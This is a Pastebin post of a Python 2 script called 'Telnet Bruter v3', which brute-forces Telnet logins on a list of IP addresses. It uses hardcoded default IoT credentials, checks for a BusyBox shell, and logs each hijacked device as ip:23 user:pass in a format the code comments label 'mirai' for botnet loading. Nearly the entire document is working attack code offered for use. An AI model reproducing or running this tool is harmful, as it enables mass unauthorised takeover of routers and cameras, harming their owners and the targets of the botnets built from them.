Advertisement
MrScythe

Telnet Bruter v3 *FINAL*

Mar 8th, 2017
4,490
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.84 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Telnet Bruter v3 *FINAL* | By; LiGhT
  3.  
  4.  
  5. import threading
  6. import sys, os, re, time, socket
  7. from Queue import *
  8. from sys import stdout
  9.  
  10. if len(sys.argv) < 4:
  11. print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
  12. sys.exit()
  13.  
  14. ips = open(sys.argv[1], "r").readlines()
  15. threads = int(sys.argv[2])
  16. output_file = sys.argv[3]
  17. queue = Queue()
  18. queue_count = 0
  19.  
  20. combo = [ #use as many passwords as ya want(P.S. The more passwords the slower the bruteforce is going to be)
  21. "support:support",
  22. "admin:admin",
  23. "user:user",
  24. "root:antslq",
  25. "supervisor:zyad1234",
  26. "root:xc3511",
  27. "root:vizxv",
  28. "root: "
  29. ]
  30.  
  31. for ip in ips:
  32. queue_count += 1
  33. stdout.write("\r[%d] Added to queue" % queue_count)
  34. stdout.flush()
  35. queue.put(ip)
  36. print "\n"
  37.  
  38. class router(threading.Thread):
  39. def __init__ (self, ip):
  40. threading.Thread.__init__(self)
  41. self.ip = str(ip).rstrip('\n')
  42. def run(self):
  43. username = ""
  44. password = ""
  45. for passwd in combo:
  46. if ":n/a" in passwd:
  47. password=""
  48. else:
  49. password=passwd.split(":")[1]
  50. if "n/a:" in passwd:
  51. username=""
  52. else:
  53. username=passwd.split(":")[0]
  54. try:
  55. tn = socket.socket()
  56. tn.settimeout(8)
  57. tn.connect((self.ip,23))
  58. except Exception:
  59. tn.close()
  60. break
  61. try:
  62. hoho = ''
  63. hoho += readUntil(tn, "ogin:")
  64. if "ogin" in hoho:
  65. tn.send(username + "\n")
  66. time.sleep(0.09)
  67. except Exception:
  68. tn.close()
  69. try:
  70. hoho = ''
  71. hoho += readUntil(tn, "assword:")
  72. if "assword" in hoho:
  73. tn.send(password + "\n")
  74. time.sleep(0.8)
  75. else:
  76. pass
  77. except Exception:
  78. tn.close()
  79. try:
  80. prompt = ''
  81. prompt += tn.recv(40960)
  82. if ">" in prompt and "ONT" not in prompt:
  83. try:
  84. tn.send("cat | sh" + "\n")
  85. time.sleep(0.1)
  86. success = False
  87. timeout = 8
  88. data = ["BusyBox", "Built-in"]
  89. tn.send("sh" + "\n")
  90. time.sleep(0.01)
  91. tn.send("busybox" + "\r\n")
  92. buf = '' # NO FALSE POSSITIVES OVA HERE
  93. start_time = time.time()
  94. while time.time() - start_time < timeout:
  95. buf += tn.recv(40960)
  96. time.sleep(0.01)
  97. for info in data:
  98. if info in buf and "unrecognized" not in buf:
  99. success = True
  100. break
  101. except:
  102. pass
  103. elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  104. try:
  105. success = False
  106. timeout = 8
  107. data = ["BusyBox", "Built-in"]
  108. tn.send("sh" + "\n")
  109. time.sleep(0.01)
  110. tn.send("shell" + "\n")
  111. time.sleep(0.01)
  112. tn.send("help" + "\n")
  113. time.sleep(0.01)
  114. tn.send("busybox" + "\r\n")
  115. buf = '' # NO FALSE POSSITIVES OVA HERE
  116. start_time = time.time()
  117. while time.time() - start_time < timeout:
  118. buf += tn.recv(40960)
  119. time.sleep(0.01)
  120. for info in data:
  121. if info in buf and "unrecognized" not in buf:
  122. success = True
  123. break
  124. except:
  125. pass
  126. else:
  127. tn.close()
  128. if success == True:
  129. try:
  130. #os.system("echo "+self.ip+" >> "+output_file+"") #1.1.1.1 # bios.txt
  131. #os.system("echo "+self.ip+":"+username+":"+password+" >> "+output_file+"") # 1.1.1.1:user:pass # regular
  132. os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
  133. print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  134. tn.close()
  135. break
  136. except:
  137. tn.close()
  138. tn.close()
  139. except Exception:
  140. tn.close()
  141.  
  142. def readUntil(tn, string, timeout=8):
  143. buf = ''
  144. start_time = time.time()
  145. while time.time() - start_time < timeout:
  146. buf += tn.recv(1024)
  147. time.sleep(0.01)
  148. if string in buf: return buf
  149. raise Exception('TIMEOUT!')
  150.  
  151. def worker():
  152. try:
  153. while True:
  154. try:
  155. IP = queue.get()
  156. thread = router(IP)
  157. thread.start()
  158. queue.task_done()
  159. time.sleep(0.2)
  160. except:
  161. pass
  162. except:
  163. pass
  164.  
  165. for l in xrange(threads):
  166. try:
  167. t = threading.Thread(target=worker)
  168. t.start()
  169. time.sleep(0.01)
  170. except:
  171. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement